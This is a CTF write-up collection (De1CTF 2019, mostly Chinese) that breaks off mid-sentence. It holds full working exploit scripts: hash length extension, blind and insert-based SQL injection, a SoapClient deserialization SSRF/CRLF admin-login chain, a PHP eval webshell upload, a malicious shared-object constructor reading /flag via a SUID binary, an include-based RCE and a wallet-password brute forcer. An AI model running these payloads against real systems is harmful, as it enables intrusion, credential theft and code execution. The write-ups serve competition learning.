[TOC]
广告一波:
De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
https://github.com/De1ta-team/De1CTF2019
哈希长度拓展攻击+CVE-2019-9948(urllib)
代码很简单,主要是有根据传入的action参数判断,有两种模式,一种是请求Param参数的地址,并把结果写入result.txt
,另一种是读取result.txt
的内容,两种方式都需要sign
值校验.并且sign
值是通过拼接参数哈希加密,所以可以使用哈希长度拓展攻击.题目给出了scan
模式的sign
值.
scan
模式的sign
值.HTTP/1.1 200 OK
Server: nginx/1.15.8
Content-Length: 32
Connection: close
51796b52dd6e1108c89b7d5277d3ae0a
2. 使用`hashpump`生成新的`sign`值.
$ hashpump
Input Signature: 51796b52dd6e1108c89b7d5277d3ae0a
Input Data: local-file:flag.txtscan
Input Key Length: 16
Input Data to Add: read
eafd6ccd634ec29886babc843f1d8b86
local-file:flag.txtscan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x01\x00\x00\x00\x00\x00\x00read
3. 把新生成的参数中`\x`替换成`%`,然后提交,即可获取flag
GET /De1ta?param=local-file:flag.txt HTTP/1.1
Host: 139.180.128.86
Cookie:action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%008%01%00%00%00%00%00%00read;sign=eafd6ccd634ec29886babc843f1d8b86
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.15.8
Content-Type: text/html; charset=utf-8
Content-Length: 65
Connection: close
{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}
由于出题时候的粗心,导致题目产生非预期,太菜了,Orz
## 9calc
#### Part 1
Same to v1 and v2.
#### Part 2
The second task is to bypass RegExp ``/^[0-9a-z\[\]\+\-\*\/ \t]+$/``.
Nestjs is a Nodejs Web Framework which is very similar to Spring, and it's written by TypeScript. However, it's **NOT** Spring. TypeScript is a strongly-typed language, but it's designed for transcompiles to JavaScript so all type definitions will be removed in runtime. We can just ignore ``expression: string`` type hinting and pass an object to ``expression``. This time, ``object.toString() === '[object Object]'``.
But we have no way to let ``object.toString()`` become a useful runnable code ─ if frontend and backends communicate by JSON, it's true. I believe that everyone has used MongoDB. Nodejs can pass a JavaScript function to MongoDB, which is not defined in the JSON standard. So they introduce BSON as their data interchange format. This challenge also used BSON. Luckily, we can simulate our object to a BSON object in JavaScript.
Let's read ``mongodb/js-bson``'s serializer, we can know it detects the object's type by ``Object[_bsontype]`` instead of ``instanceof``.
https://github.com/mongodb/js-bson/blob/master/lib/parser/serializer.js#L756
```javascript
} else if (value['_bsontype'] === 'Binary') {
index = serializeBinary(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'Symbol') {
index = serializeSymbol(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'DBRef') {
After searching, I found that Symbol
is the best type to emulate an object as a string. I checked most of the BSON deserializers and Symbol.toString()
always returns the value of the symbol.
So let's build a Symbol like this:
{"expression":{"value":"1+1","_bsontype":"Symbol"}, "isVip": true}
Build 3 polyglots in 3 languages to get flag.
const axios = require('axios') const url = 'http://45.77.242.16/calculate' const symbols = '0123456789abcdefghijklmnopqrstuvwxyz{}_'.split('') const payloads = [ // Nodejs `1 + 0//5 or '''\n//?>\nrequire('fs').readFileSync('/flag','utf-8')[{index}] == '{symbol}' ? 1 : 2;/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`, // Python `(open('/flag').read()[{index}] == '{symbol}') + (str(1//5) == 0) or 2 or ''' #\n))//?>\nfunction open(){return {read:()=>'{flag}'}}function str(){return 0}/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`, // PHP `len('1') + 0//5 or '''\n//?>\n1;function len(){return 1}/*<?php\nfunction len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[{index}] == '{symbol}' ? "1" : "2"]);exit;}?>*///'''`, ] const rets = [] const checkAnswer = (value) => axios.post(url, { expression: { value, _bsontype: "Symbol" }, isVip: true }).then(p => p.data.ret === '1').catch(e => {}) const fn = async () => { for (let j = 0; j < payloads.length; j++) { const payload = payloads[j] let flag = '' let index = 0 while (true) { for (let i = 0; i < symbols.length; i++) { const ret = await checkAnswer(payload.replace(/\{flag\}/g, flag + symbols[i]).replace(/\{symbol\}/g, symbols[i]).replace(/\{index\}/g, index)) if (ret) { flag += symbols[i] console.log(symbols[i]) i = 0 index++ } } break } rets.push(flag) console.log(rets) } } fn().then(p => { console.log(rets.join('')) })
In this challenge, the BSON part was inspired by the 996Game
of *CTF2019
. The code of 996game
is:
GameServer.loadPlayer = function(socket,id){ GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){
I built { toHexString: 'aaa', length: 0, id: {length: 12} }
to bypass the validation of ObjectId
because MongoDB Driver used old version js-bson
. This maybe useful in MongoDB injection.
以前 1.0 版本 writeup:
本题是 2.0 版本。
题目页面类似一个网页沙盒。
在源代码 main.js
里找到一个提示,提供了 otp
的 python库
和 totp
的参数,方便写脚本。
同样是 main.js
里,可以找到用来生成 totp
的 key
。
出题人注:服务端时间与客户端时间相差大于 15秒
,需要先计算正确的 totp
才能调用 shell.php
。
查看 usage.md
可以看到命令用法, login
存在注入,没有过滤,用户名和密码长度限制 100
。
爆破密码脚本:
import requests
import urllib
import string
import pyotp
url = 'http://127.0.0.1/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()
length = 0
left = 0x0
right = 0xff
while True:
mid = int((right - left) / 2 + left)
if mid == left:
length = mid
break
username = "'/**/or/**/if(length((select/**/password/**/from/**/users/**/limit/**/1))>=%d,1,0)#" % mid
password = "b"
payload = 'login %s %s' % (username, password)
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
res = s.get(payload).text
if 'incorrect' in res:
left = mid
else:
right = mid
print(length)
real_password = ''
for i in range(1, length+1):
left = 0x20
right = 0x7e
while True:
mid = int((right - left) / 2 + left)
if mid == left:
real_password += chr(mid)
break
username = "'/**/or/**/if(ascii(substr((select/**/password/**/from/**/users/**/limit/**/1),%d,1))>=%d,1,0)#" % (i, mid)
password = "b"
payload = 'login %s %s' % (username, password)
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
res = s.get(payload).text
if 'incorrect' in res:
left = mid
else:
right = mid
print(real_password)
if len(real_password) < i:
print('No.%d char not in range' % i)
break
得到密码:hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}
密码里提示有个隐藏命令 sh0w_hiiintttt_23333
,可以得到提示 eval
在 launch
的时候被调用。
launch
前需要先用 targeting
设置,不过对输入有限制,这里可以 fuzz
一下,得知 code
限制 a-zA-Z0-9
, position
限制 a-zA-Z0-9})$({_+-,.
,而且两者的长度也有限制。
这里需要用 php可变变量
构造和拼接 payload
。
构造用来 getflag
的 payload
,绕过 open_basedir
的限制,写个脚本就能 getflag
。
getflag
脚本:
import requests
import urllib
import string
import pyotp
url = 'http://127.0.0.1/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()
def login(password):
username = 'admin'
payload = 'login %s %s' % (username, password)
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
s.get(payload)
def destruct():
payload = 'destruct'
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
s.get(payload)
def targeting(code, position):
payload = 'targeting %s %s' % (code, position)
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
s.get(payload)
def launch():
payload = 'launch'
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
return s.get(payload).text
login('hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}')
destruct()
targeting('a','chr')
targeting('b','{$a(46)}')
targeting('c','{$b}{$b}')
targeting('d','{$a(47)}')
targeting('e','js')
targeting('f','open_basedir')
targeting('g','chdir')
targeting('h','ini_set')
targeting('i','file_get_')
targeting('j','{$i}contents')
targeting('k','{$g($e)}')
targeting('l','{$h($f,$c)}')
targeting('m','{$g($c)}')
targeting('n','{$h($f,$d)}')
targeting('o','{$d}flag')
targeting('p','{$j($o)}')
targeting('q','printf')
targeting('r','{$q($p)}')
print(launch())
Flag:de1ctf{h3r3_y0uuur_g1fttt_0uT_0f_b0o0o0o0o0xx}
以前 1.0 版本 writeup:
本题是 2.0 版本。
先审计源代码,找到首页备注里有 #firmware
功能。
#firmware
功能需要登录,而且只有管理员有权限访问。
然后注册登录,在我的分享页面里看到一首英文歌,其它都是中文歌,而且这首英文歌在首页就已经放入到播放器列表里。
所以看分享 #share
页面源代码,能看到 /media/share.php?
后面还用 btoa
也就是 base64编码
,所以这里不难发现有个任意文件读取。
尝试读取 ../index.php
页面的源代码,访问 http://127.0.0.1/media/share.php?Li4vaW5kZXgucGhw
。
限制了 .php
文件,根据提示,可以使用 urlencode
编码绕过。
成功读取到 ../index.php
文件,那么其它文件也可以读取到。
然后就是读取网站目录下的文件,进行源代码审计。我们的目标就是拿到管理员密码,然后访问 #firmware
功能。
那么我们需要找到源代码里,哪里读取到管理员密码,这些位置并不多。这里漏洞点在 /include/upload.php
里,调用到 /lib/parser.so
进行音频文件解析,传入了管理员密码。
那么我们需要用 IDA
反编译 /lib/parser.so
文件,漏洞点在 read_title
/ read_artist
/ read_album
三个函数里的 strcpy
处,off by null
,刚好可以覆盖到 mem_mframe_data
后面的 mframe_data
第一字节为 0x00
,那么读取的时候就能读到 mem_mpasswd
,也就是 管理员密码
。
相对于 1.0 版本,这是一个错误版本的 parser.so
,因为它使用 strlen
获取字符串长度,致使 unicode
编码的字段无法正常读取,影响到一些 mp3
的信息读取,间接上增加了做题的难度。
那么我们可以构造字符串长度为 0x70
的字段,然后上传构造好的 mp3
文件,就能读取 管理员密码
。
构造好的 mp3
文件见 exp
里。
我们使用 管理员密码
登录管理员账号,访问 #firmware
功能。
泄露这个页面的源代码文件,审计源代码,这里我们可以上传一个 .so
文件,然后猜文件名,然后可以加载这个 .so
文件。
那么我们可以使用 __attribute__ ((constructor))
来执行我们的代码。
就像这样:
#include <stdio.h>
#include <string.h>
char _version[0x130];
char * version = &_version;
__attribute__ ((constructor)) void fun(){
memset(version,0,0x130);
FILE * fp=popen("/usr/bin/tac /flag", "r");
if (fp==NULL) return;
fread(version, 1, 0x100, fp);
pclose(fp);
}
但是相对于 1.0
版本,这里没有回显。
所以我们可以向 /uploads/firmware/
或者 /uploads/music/
下写文件,然后去访问来读取到回显信息。
www-data
用户,对 /flag
文件没有读取权限。
我们需要找到一个具有 suid
权限的程序去读取,/usr/bin/tac
具有 suid
权限,能够读取到 /flag
文件的内容。
所以我们可以用 /usr/bin/tac /flag > /var/www/html/uploads/firmware/xxxxx
去读取到 flag
文件。
Flag:de1ctf{W3b_ANND_PWNNN_C1ou9mus1c_revvvv11}
解题思路:赛题分为两层,需要先拿到第一层的webshell,然后做好代理,渗透内网获取第二层的webshell,最后在内网的主机中找到flag文件获取flag。(以下给出的脚本文件当中ip地址需要进行对应的修改)
第一层获取webshell主要通过以下的步骤:
1.可利用swp源码泄露,获取所有的源码文件。
2.利用insert sql注入拿到管理员的密码md5值,然后在md5网站上解密得到密码明文。
3.利用反序列化漏洞调用内置类SoapClient
触发SSRF漏洞,再结合CRLF漏洞,实现admin登录,获取admin登录后的session值。
4.登录admin成功之后,会发现有一个很简单文件上传功能,上传木马即可getshell。
获取泄露的swp文件的脚本GetSwp.py
#coding=utf-8
# import requests
import urllib
import os
os.system('mkdir source')
os.system('mkdir source/views')
file_list=['.index.php.swp','.config.php.swp','.user.php.swp','user.php.bak','views/.delete.swp','views/.index.swp','views/.login.swp','views/.logout.swp','views/.profile.swp','views/.publish.swp','views/.register.swp']
part_url='http://45.76.187.90:11027/'
for i in file_list:
url=part_url+i
print 'download %s '% url
os.system('curl '+url+'>source/'+i)
先在config.php
看到了全局过滤:
function addslashes_deep($value) { if (empty($value)) { return $value; } else { return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value); } } function addsla_all() { if (!get_magic_quotes_gpc()) { if (!empty($_GET)) { $_GET = addslashes_deep($_GET); } if (!empty($_POST)) { $_POST = addslashes_deep($_POST); } $_COOKIE = addslashes_deep($_COOKIE); $_REQUEST = addslashes_deep($_REQUEST); } } addsla_all();
这样过滤之后,简单的注入就不存在了。
在user.php
中看到insert
函数,代码如下:
private function get_column($columns){ if(is_array($columns)) $column = ' `'.implode('`,`',$columns).'` '; else $column = ' `'.$columns.'` '; return $column; } public function insert($columns,$table,$values){ $column = $this->get_column($columns); $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')'; $nid = $sql = 'insert into '.$table.'('.$column.') values '.$value; $result = $this->conn->query($sql); return $result; }
看对$value
的操作,先将$value
数组的每个值用反引号引起来,然后再用逗号连接起来,变成这样的字符串:
`$value[0]`,`$value[1]`,`$value[1]`
然后再执行
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
preg_replace的意图是把反引号的单引号进行替换(核心操作是如果一对反引号中间的内容不存在逗号和反引号,就把反引号变为单引号,所以$value
就变为了)
('$value[0]','$value[1]','$value[1]')
但是如果$value
元素本身带有反引号,就会破坏掉拼接的结构,在做反引号变为单引号的时候造成问题,比如说:
考虑$value为 : array("admin`,`1`)#","password")
经过处理后,就变为了 : ('admin','1')#`,'password' )
相当于闭合了单引号,造成注入。
看到insert
函数在publish
函数中被调用,并且存在$_POST['signature']
变量可控,注入点就在这里:
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
实质是把$value中的反引号替换为单引号时,如果$value中本来就带有反引号,就有可能导致注入(addslashes函数不会对反引号过滤)
利用sql注入漏洞注入出管理员账号密码的脚本。
#coding=utf-8
import re
import string
import random
import requests
import subprocess
import hashlib
from itertools import product
_target='http://20.20.20.128:11027/index.php?action='
def get_code_dict():
c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
captchas = [''.join(i) for i in product(c, repeat=3)]
print '[+] Genering {} captchas...'.format(len(captchas))
with open('captchas.txt', 'w') as f:
for k in captchas:
f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')
def get_creds():
username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
return username, password
def solve_code(html):
code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
return solution
def register(username, password):
resp = sess.get(_target+'register')
code = solve_code(resp.text)
sess.post(_target+'register', data={'username':username,'password':password,'code':code})
return True
def login(username, password):
resp = sess.get(_target+'login')
code = solve_code(resp.text)
sess.post(_target+'login', data={'username':username,'password':password,'code':code})
return True
def publish(sig, mood):
return sess.post(_target+'publish', data={'signature':sig,'mood':mood})
get_code_dict()
sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password)
register(username, password)
print '[+] login({}, {})'.format(username, password)
login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']
for i in range(1,33): # we know password is 32 chars (md5)
mood = '(select concat(`O:4:\"Mood\":3:{{s:4:\"mood\";i:`,ord(substr(password,{},1)),`;s:2:\"ip\";s:14:\"80.212.199.161\";s:4:\"date\";i:1520664478;}}`) from ctf_users where is_admin=1 limit 1)'.format(i)
payload = 'a`, {}); -- -'.format(mood)
resp = publish(payload, '0')
resp = sess.get(_target+'index')
moods = re.findall(r'img/([0-9]+)\.gif', resp.text)[::-1] # last publish will be read first in the html
admin_hash = ''.join(map(lambda k: chr(int(k)), moods))
print '[+] admin hash => ' + admin_hash
root@kali64:~# python sql_exp.py
[+] Genering 778688 captchas...
[+] register(cvnyshokxj, sjt0ayo3c1)
[+] login(cvnyshokxj, sjt0ayo3c1)
[+] user session => 7fublips3949q8vcs611fcdha2
[+] admin hash => c991707fdf339958eded91331fb11ba0
密码明文为jaivypassword
3.利用反序列化漏洞调用内置类SoapClient
触发SSRF漏洞,再结合CRLF漏洞,实现admin登录,获取admin登录后的session值。
4.登录admin成功之后,会发现有一个很简单文件上传功能,上传木马即可getshell。
原理:要触发这个反序列化漏洞+SSRF+CRLF漏洞登录admin,需要先利用/index.php?action=publish
的sql注入漏洞把序列化数据插入数据库中,然后再调用/index.php?action=index
,这时会触发代码$data = $C->showmess();
,进而执行代码
$mood = unserialize($row[2]);
$country = $mood->getcountry();
这时就会触发反序列化漏洞-->SSRF漏洞-->CLRF漏洞-->登录admin。
关于第一层解题更详细的分析可以参见@wupco师傅的这篇文章https://xz.aliyun.com/t/2148
import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
import hashlib
from itertools import product
_target = 'http://20.20.20.128:11027/'
_action = _target + 'index.php?action='
def get_code_dict():
c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
captchas = [''.join(i) for i in product(c, repeat=3)]
print '[+] Genering {} captchas...'.format(len(captchas))
with open('captchas.txt', 'w') as f:
for k in captchas:
f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')
def get_creds():
username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
return username, password
#code
def solve_code(html):
code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
return solution
def register(username, password):
resp = sess.get(_action+'register')
code = solve_code(resp.text)
sess.post(_action+'register', data={'username':username,'password':password,'code':code})
return True
def login(username, password):
resp = sess.get(_action+'login')
code = solve_code(resp.text)
sess.post(_action+'login', data={'username':username,'password':password,'code':code})
return True
def publish(sig, mood):
return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})
def get_prc_now():
# date_default_timezone_set("PRC") is not important
return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])
def get_admin_session():
sess = requests.Session()
resp = sess.get(_action+'login')
code = solve_code(resp.text)
return sess.cookies.get_dict()['PHPSESSID'], code
get_code_dict()
print '[+] creating user session to trigger ssrf'
sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password)
register(username, password)
print '[+] login({}, {})'.format(username, password)
login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']
print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()
ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 200\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}&\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))
payload = 'a`, {}); -- -'.format(mood)
print '[+] final sqli/ssrf payload: ' + payload
print '[+] injecting payload through sqli'
resp = publish(payload, '0')
print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})
print '[+] admin session => ' + phpsessid
# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})
# resp = sess.post(_action+'publish')
# print resp.text
print '[+] uploading stager'
shell = {'pic': ('jaivy.php', '<?php @eval($_POST[jaivy]);?>', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)
# print resp.text
webshell_url=_target+'upload/jaivy.php'
print '[+] shell => '+webshell_url+'\n'
post_data={"jaivy":"system('ls -al');"}
resp = sess.post(url=webshell_url,data=post_data)
print resp.text
root@kali64:~# python ssrf_crlf_getshell_exp.py
[+] Genering 778688 captchas...
[+] creating user session to trigger ssrf
[+] register(a6skt6cjpr, rw2dz23fjv)
[+] login(a6skt6cjpr, rw2dz23fjv)
[+] user session => b4sd5q2jtb0tlh4lmqoj4mcb92
[+] getting fresh session to be authenticated as admin
[+] final sqli/ssrf payload: a`, 0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a3237373a22687474703a2f2f3132372e302e302e312f0d0a436f6e74656e742d4c656e6774683a300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d706f633672616771686d6e686933636e6e737136636a666332340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a203230300d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6a6169767970617373776f726426636f64653d4a3165260d0a0d0a504f5354202f666f6f0d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31333a225f736f61705f76657273696f6e223b693a313b7d); -- -
[+] injecting payload through sqli
[+] triggering object deserialization -> ssrf
[+] admin session => poc6ragqhmnhi3cnnsq6cjfc24
[+] uploading stager
[+] shell => http://20.20.20.128:11027/upload/jaivy.php
total 12
drwxrwxrwx 1 root root 4096 Aug 5 18:07 .
drwxr-xr-x 1 root root 4096 Aug 5 18:03 ..
-rw-r--r-- 1 www-data www-data 29 Aug 5 18:07 jaivy.php
root@kali64:~#
这里构造反序列化+SSRF+CRLF的时候注意几个点
Content-Type
要设置成 application/x-www-form-urlencoded
\x0ausername=admin&password=jaivypassword&code={}&\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a
另外再放出一个构造payload的php脚本
<?php
$location = "http://127.0.0.1/index.php?action=login";
$uri = "http://127.0.0.1/";
$event = new SoapClient(null,array('user_agent'=>"test\r\nCookie: PHPSESSID=gv1jimuh2ptjp1j6o2apvqp0h2\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 100\r\n\r\nusername=admin&password=jaivypassword&code=400125&xxx=",'location'=>$location,'uri'=>$uri));
$c = (serialize($event));
echo urlencode($c);
进入内网之后通过做代理扫描即可发现还存在一个内网ip 172.18.0.2
,访问它能够发现如下代码
<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name'])
{
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename))
{
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1])
{
die("try again!!!");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hello'];
if(@substr(file($_)[0],0,6)==='@<?php')
{
if(strpos($_,$new_name)===false)
{
include($_);
}
else
{
echo "you can do it!";
}
}
unlink($new_name);
}
else
{
highlight_file(__FILE__);
}
此处getshell,对应的exp如下:
import requests
import hashlib
target = "http://172.18.0.2/"
ip = "172.18.0.3"
path = "/var/sandbox/%s/"%hashlib.md5(("prefix"+ip).encode()).hexdigest()
#proxies={'http':'http://127.0.0.1:8080'}
files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"hello":(None,"php://filter/string.strip_tags/resource=/etc/passwd")}
try:
for i in range(10):
requests.post(target,files=files,)
except Exception as e:
print(e)
for i in range(0,1000):
files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"s":(None,"system('cat /etc/flag*');"),"hello":(None,path+str(i)+'.b')}
resp = requests.post(target,files=files,).text
if len(resp)>0:
print(resp,i)
break
至于如何找到flag文件,可以直接使用如下的find
命令
find / -name "*flag*"
Elements.cs
class Elements: MonoBehaviour { void Awake() { int x = (int)transform.position.x; int y = (int)transform.position.y; //根据全局的数组设置该格子是雷还是空地 bIsMine = (((MayWorldBeAtPeace[x, y] ^ AreYouFerryMen[x, y]) - 233) / 2333) == 1 ? true : false; //根据格子的position,将物体实例绑定到网格中 Grids._instance.eleGrids[(int)transform.position.x, (int)transform.position.y] = this; //网格中对应格子数值设置 Grids._instance.DevilsInHeaven[(int)transform.position.x, (int)transform.position.y] = (bIsMine == true ? 1 : 0); //隐藏reset按钮 resetButton = GameObject.FindGameObjectWithTag("resetButton"); if (resetButton) resetButton.SetActive(false); } // Start is called before the first frame update void Start() { //初始化时混淆地图 Grids._instance.ChangeMap(); //测试用 //DawnsLight(); } ... void OnMouseUpAsButton() { //鼠标点击对应格子触发 if (!Grids._instance.bGameEnd && !bIsOpen) { //未翻开 //设置翻开 bIsOpen = true; int nX = (int)transform.position.x; int nY = (int)transform.position.y; if (bIsMine) { //显示雷 SafeAndThunder(0); Grids._instance.bGameEnd = true; //游戏失败 Grids._instance.GameLose(); print("game over: lose"); } else { //翻到的不是雷,显示周围雷的数量+翻开相邻的周围无雷的格子 int adjcentNum = Grids._instance.CountAdjcentNum(nX, nY); SafeAndThunder(adjcentNum); Grids._instance.Flush(nX, nY, new bool[Grids.w, Grids.h]); } if (Grids._instance.GameWin()) { //游戏胜利 Grids._instance.bGameEnd = true; print("game over: win"); } } } }
Elements.cs是挂在每个格子身上的脚本,Awake中确定该格子是雷还是空地,Start中将地图中固定的六个摇摆位随机化,OnMouseUpAsButton检测当前格子是不是雷,并作出相应处理
Grid.cs
public bool GameWin() { foreach (Elements ele in eleGrids) { if (!ele.bIsOpen && !ele.bIsMine) { //存在没翻开且不是雷的 return false; } } foreach (Elements ele in eleGrids) { //加载最后的图片 ele.DawnsLight(); } return true; } public void ChangeMap() { System.Random ran = new System.Random((int)System.DateTime.Now.Millisecond); const int SwingNum = 6; const int Start = 0; const int End = 100; int[] SwingPosX = new int[SwingNum]{ 9, 15, 21, 10, 18, 12, }; int[] SwingPosY = new int[SwingNum]{ 0, 7, 15, 3, 16, 28 }; int[] RandomNum = new int[SwingNum]; for (int i = 0; i < SwingNum; i++) { RandomNum[i] = ran.Next(Start, End); } for (int i = 0; i < SwingNum; i++) { int x = SwingPosX[i]; int y = SwingPosY[i]; eleGrids[x, y].bIsMine = RandomNum[i] > 60 ? false : true ; DevilsInHeaven[x, y] = eleGrids[x, y].bIsMine == true ? 1 : 0; } }
Grid.cs是控制网格的脚本,主要就是检测游戏输赢以及是否按下reset按钮,ChangeMap函数会将六个摇摆位的01随机化,起到混淆作用
压缩包解压得到三个文件。
先看 from-officer.txt
。
大概意思是说,这个二进制文件是从嫌疑人的移动硬盘里恢复出来的,是一个 AES-256
加密文件,解密的密钥是世界上最常用和最弱的。
根据 officer
的提示,我们可以上网查一下世界上最常用和最弱的密码是什么。
根据维基百科的记录, 2019 年最常用的密码排在第一位的是 123456
。
那么我们用题目所提供的加解密软件 WinAES
和密钥 123456
即可解密 recovered.bin
文件。
得到解密文件 recovered.bin.decrypted
,很自然地想查看文件类型,就去查看一下文件的头部。
这个文件原名叫 linj.vmdk
,是一个 vmdk
映像文件。它的文件头部被修改过,我们可以参照其它 vmdk
格式的文件头部,把头部改回正常。
这时候就是一个正常的 vmdk
文件了。我们可以使用 开源取证工具
或者 商业取证工具
进行 静态取证,也可以使用 专业仿真软件
或者 VMware
进行 动态取证
。
我这里使用 取证大师
进行 静态取证
,使用 VMware
进行 动态取证
。
在 VMware
中加载这个镜像文件,开机后登录系统需要密码,密码提示 headers
。
刚才我们在文件头处看到了 i_love_kdmv
,这个就是系统登录的密码。
登录后,在桌面右上角看到一张便签,大概意思是,“你不应该到这里来,我已经删除了一条重要的钥匙,怎么找到我?”。
这里的“我”指的是“便签”。嫌疑人很可能使用系统自带的功能进行信息的隐藏。我们可以先找到 windows 10
下创建标签的方式,就是按下 win+w
键。
从右边弹出的侧菜单栏可以看到,sketchpad
功能处写着 bitlock
,点进去看看。
可以看到 bitlocker
的密码,linj920623!@#
,系统中确实存在一个 bitlocker
的加密盘。
使用密码进行解密,可以成功解开加密盘。
加密盘里有两个值得留意的文件。
一个是数字货币加密钱包文件,另一个是密码字典。这可能是嫌疑人用来进行资金流通的数字货币钱包。
我们尝试写个脚本,使用密码字典对加密钱包文件进行暴力破解。
import eth_keyfile
import json
fp = open('ethpass.dict', 'r')
wallet = json.loads(open('UTC--2019-07-09T21-31-39.077Z--266ed8970d4713e8f2701cbe137bda2711b78d57', 'r').read())
while True:
try:
password = fp.readline().strip().encode('ascii')
if len(password) <= 0 :
print("password not found")
break
except:
continue
try:
result = eth_keyfile.decode_keyfile_json(wallet, password)
except:
continue
print(password)
print(result)
break
暴力破解可以得到结果,加密钱包密码为 nevada
,钱包私钥为 VeraCrypt Pass: V3Ra1sSe3ure2333
。
私钥提示我们有一个 VeraCrypt
加密的容器,它的加密密码为 V3Ra1sSe3ure2333
。
那么我们需要先找到这个容器文件。这里可以使用全盘搜索包含特定字串的方法,找到这个加密容器文件。我这里使用 取证大师
进行取证,直接在 加密文件
处可以找到这个文件。
可是在 VMware
